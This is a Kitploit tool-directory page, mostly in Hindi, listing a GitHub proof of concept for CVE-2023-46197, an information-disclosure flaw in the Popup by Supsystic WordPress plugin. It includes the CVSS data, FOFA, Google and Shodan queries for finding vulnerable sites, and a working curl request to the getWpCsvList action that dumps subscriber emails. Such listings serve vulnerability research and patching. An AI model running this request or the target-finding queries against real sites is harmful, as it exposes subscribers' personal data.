Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2023-46197 — Popup by Supsystic <= 1.10.19 - प्राधिकरण की कमी से संवेदनशील जानकारी का खुलासा | Kitploit
उपकरण/GitHubGitHub/randomrobbiebf/cve-2023-46197
भेद्यता विश्लेषणशोषणजानकारी एकत्र करनावेब सुरक्षापेनिट्रेशन टेस्टिंग
GitHubrandomrobbiebf/cve-2023-46197

CVE-2023-46197

Popup by Supsystic <= 1.10.19 - प्राधिकरण की कमी से संवेदनशील जानकारी का खुलासा

रिपॉजिटरी देखें
2 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2023-46197

Popup by Supsystic <= 1.10.19 - संवेदनशील जानकारी के एक्सपोजर के लिए अनधिकृत प्राधिकरण

विवरण

"वर्डप्रेस के लिए Popup by Supsystic प्लगइन, संस्करण 1.10.19 तक और सहित सभी संस्करणों में, getWpCsvList कार्रवाई के माध्यम से संवेदनशील जानकारी के एक्सपोजर के लिए संवेदनशील है। इससे सब्सक्राइबर स्तर या उससे उच्च पहुँच वाले प्रमाणित हमलावरों के लिए सब्सक्राइबर ईमेल पतों सहित संवेदनशील डेटा निकालना संभव हो जाता है।"

root@kitploit:~
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/f458663f-6b1a-4acd-b2db-c66d7a915ab7?source=api-prod
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 4.3
    cve-id: CVE-2023-46197
  metadata:
    fofa-query: "wp-content/plugins/popup-by-supsystic/"
    google-query: inurl:"/wp-content/plugins/popup-by-supsystic/"
    shodan-query: 'vuln:CVE-2023-46197'
    slug: 'popup-by-supsystic'

प्रमाण की अवधारणा:

root@kitploit:~
curl "http://wordpress.lan/?mod=subscribe&action=getWpCsvList&pl=pps"

"Username";"Email";"Activated";"PopUp ID";"Date Created"
टूल डाउनलोड करें